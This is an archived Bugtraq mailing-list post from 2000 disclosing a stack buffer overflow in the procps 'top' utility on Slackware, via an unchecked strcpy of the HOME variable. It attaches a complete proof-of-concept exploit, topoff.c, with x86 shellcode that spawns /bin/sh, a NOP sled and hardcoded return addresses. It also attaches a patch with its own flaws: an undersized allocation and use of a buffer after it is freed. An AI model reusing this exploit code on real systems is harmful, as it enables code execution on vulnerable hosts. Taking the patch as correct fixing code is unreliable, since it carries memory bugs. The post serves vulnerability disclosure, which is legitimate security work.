[16270] in bugtraq
[Fwd: Stack Overflow Vulnerability in procps's top]
daemon@ATHENA.MIT.EDU (Ben Lull)
Wed Aug 16 13:33:33 2000
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------201C9F59837D8BEF0279D8E7"
Message-ID: <399A282A.1C4CE3C5@valleylocal.com>
Date: Tue, 15 Aug 2000 22:35:38 -0700
Reply-To: ben@valleylocal.com
From: Ben Lull <ben@valleylocal.com>
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
--------------201C9F59837D8BEF0279D8E7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Ooops... forgot to attach the patch and proof of concept code. Sorry
about that.
--------------201C9F59837D8BEF0279D8E7
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-Mozilla-Status2: 00000000
Message-ID: <399A258F.1FBABBF4@valleylocal.com>
Date: Tue, 15 Aug 2000 22:24:31 -0700
From: Ben Lull <ben@valleylocal.com>
Reply-To: ben@valleylocal.com
Organization: Valley Local Internet, Inc.
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.16 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Stack Overflow Vulnerability in procps's top
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Description:
The utility top, included with the procps package in
Slackware Linux, contains multiple buffer
overruns. Although the top utility is not sXid by default,
it is still a problem. Through security comes
stability, and by creating secure applications, you will in
turn, create stable applications. The overflows
occur in two different places. When a call to strcpy() is
made, it copies the environmental variable
HOME into the buffer rcfile[1024] without bounds checking.
Reproduction:
Included with this post is proof of concept code (topoff.c)
for Slackware Linux 7.0.0 and 7.1.0. Simply
remove the comment in front of '#define RET' for the version
of Slackware which you are testing and
compile. When run, the result will be a execve()'ed
/bin/sh. You can also verify that your version of top
is vulnerable by setting the environment HOME to a string
greater then 1023 bytes.
Solution:
A patch for the most current version of procps
(procps-2.0.6) is attached to this post. Obtain
procps-2.0.6 from any Slackware distribution site under the
source/a/procps/ directory. Unpack
procps-2.0.6.tar.gz and apply the included patch
(procps-2.0.6.patch).
Credits:
I'd like to actually say thank you to my boss for not
getting on my case when I stray from my work to
play with things such as this.
Notes:
For reference, you can see all previous posts at
http://www.skunkware.org/security/advisories/
- Ben
************************
* Ben Lull *
* Valley Local Internet, Inc *
* Systems Administrator *
************************
--------------201C9F59837D8BEF0279D8E7
Content-Type: text/plain; charset=us-ascii;
name="topoff.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="topoff.c"
/*
*
* topoff.c (08/02/00)
*
* Live buffer overflow (stack smasher/breaker/etc..)
* Exploits /usr/bin/top on Slackware 7.0.0 and 7.1.0.
* Earlier version should also be assumed vulnerable.
*
* By: Ben Lull (blull@valleylocal.com)
*
*
*
* <--- Begin my Little Babble --->
* You know your bored when you go through utils like top
* which don't have a sXid bit and spend the time generating
* the shell code from scratch and all that fun stuff as
* well as making the code pretty..
*
* Note:
* grep(1) is your friend... example usage:
* me@synchro~> grep -F -n "str" *.c
* me@synchro~> grep -F -n "get" *.c
* me@synchro~> grep -F -n "print" *.c
* me@synchro~> grep -n "\[\]" *.c | grep -F "char"
*
*
*
* Experienced working Offsets:
* (It's obvious, look at the code)
* BUFLEN - strlen(code) - EIP.
*
* You should know this one.
* If you don't.. you shouldn't
* Have toys such as this.
*
*
*
* Exploit Occurs:
*
* top.h:
* 50: #define MAXNAMELEN 1024
*
*
* top.c:
* 211: char rcfile[MAXNAMELEN];
*
* 223: if (getenv("HOME")) {
* 224: strcpy(rcfile, getenv("HOME"));
* 225: strcat(rcfile, "/");
* 226: }
* .
* .
* .
* 1495: if (getenv("HOME")) {
* 1496: strcpy(rcfile, getenv("HOME"));
*
*/
#include <stdio.h>
#include <stdlib.h>
#define OFFSET 0
#define BUFLEN 1032
#define RET 0xbffffb35 /* Slackware 7.1 */
//#define RET 0xbffffafc /* Slackware 7.0 */
#define NOP 0x90
#define TOP "/usr/bin/top"
char code[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\xc9\xc3"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90";
void usage(char *arg) {
fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg);
fprintf(stderr, "Examples:\n");
fprintf(stderr, "\t%s 347 up -=- Default EIP increased by 347 bytes\n", arg);
fprintf(stderr, "\t%s 347 down -=- Default EIP decreased by 347 bytes\n", arg);
fprintf(stderr, "\t%s 429 up 0xbffffad8 -=- EIP set to 0xbffffad8 and increased by 429 bytes\n", arg);
fprintf(stderr, "\t%s 429 down 0xbffffad8 -=- EIP set to 0xbffffad8 and decreased by 429 bytes\n\n", arg);
exit(1);
}
int main(int argc, char *argv[]) {
char *buf, *p;
long *addressp, address;
int offset=OFFSET;
int i;
if((argc < 3) || (argc > 4))
usage(argv[0]);
if(argc == 3) {
if(!strcmp(argv[2], "up")) {
address = RET + atoi(argv[1]);
printf("Increasing offset by: %d\n", atoi(argv[1]));
printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1]));
}
if(!strcmp(argv[2], "down")) {
address = RET - atoi(argv[1]);
printf("Decreasing offset by: %d\n", atoi(argv[1]));
printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1]));
}
}
if(argc >= 4) {
if(!strcmp(argv[2], "up")) {
address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
printf("Increasing offset by: %d\n", atoi(argv[1]));
printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + atoi(argv[1])));
}
if(!strcmp(argv[2], "down")) {
address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
printf("Decreasing offset by: %d\n", atoi(argv[1]));
printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - atoi(argv[1])));
}
}
if (!(buf = (char *)malloc(BUFLEN))) {
printf("Can't allocate memory.\n");
exit(-1);
}
p = buf;
addressp = (long *) p;
for (i = 0; i < BUFLEN; i+=4) {
*(addressp++) = address;
}
for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) {
buf[i] = NOP;
}
p = buf + (BUFLEN - strlen(code) - 4);
for (i = 0; i < strlen(code); i++)
*(p++) = code[i];
buf[BUFLEN] = '\0';
/*
* A nifty trick is to run /bin/sh -i and run top manualy.
* This way you can figure out if your going the right way or not
*
* strace/gdb /usr/bin/top
*
*/
setenv("HOME", buf, 1);
system(TOP);
}
--------------201C9F59837D8BEF0279D8E7
Content-Type: text/plain; charset=us-ascii;
name="procps-2.0.6.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="procps-2.0.6.patch"
--- top.c Tue Aug 15 21:03:10 2000
+++ top.diff Tue Aug 15 20:57:38 2000
@@ -225,20 +225,35 @@
{
FILE *fp;
char *pt;
- char rcfile[MAXNAMELEN];
+ char *rcfile;
char Options[256] = "";
header_lines = 7;
+
+ if(!(rcfile = (char *)malloc(strlen(SYS_TOPRC)*sizeof(char *)))) {
+ fprintf(stderr, "Unable to malloc()\n");
+ exit(1);
+ }
+
strcpy(rcfile, SYS_TOPRC);
fp = fopen(rcfile, "r");
+
if (fp != NULL) {
fgets(Options, 254, fp);
fclose(fp);
}
+
+ free(rcfile);
parse_options(Options, 0);
strcpy(Options, "");
+
if (getenv("HOME")) {
- strcpy(rcfile, getenv("HOME"));
+ if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + 2)*sizeof(char *)))) {
+ fprintf(stderr, "Unable to malloc()\n");
+ exit(-1);
+ }
+
+ strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1);
strcat(rcfile, "/");
}
strcat(rcfile, RCFILE);
@@ -252,6 +267,7 @@
}
fgets(Options, 254, fp);
fclose(fp);
+ free(rcfile);
}
parse_options(Options, getuid()? Secure : 0);
}
@@ -1381,7 +1397,7 @@
void do_key(char c)
{
int numinput, i;
- char rcfile[MAXNAMELEN];
+ char *rcfile;
FILE *fp;
/*
@@ -1583,7 +1599,13 @@
break;
case 'W':
if (getenv("HOME")) {
- strcpy(rcfile, getenv("HOME"));
+
+ if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + 2)*sizeof(char *)))) {
+ fprintf(stderr, "Unable to malloc()\n");
+ exit(-1);
+ }
+
+ strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1);
strcat(rcfile, "/");
strcat(rcfile, RCFILE);
fp = fopen(rcfile, "w");
@@ -1611,6 +1633,7 @@
fprintf(fp, "%c", 't');
fprintf(fp, "\n");
fclose(fp);
+ free(rcfile);
SHOWMESSAGE(("Wrote configuration to %s", rcfile));
} else {
SHOWMESSAGE(("Couldn't open %s", rcfile));
--------------201C9F59837D8BEF0279D8E7--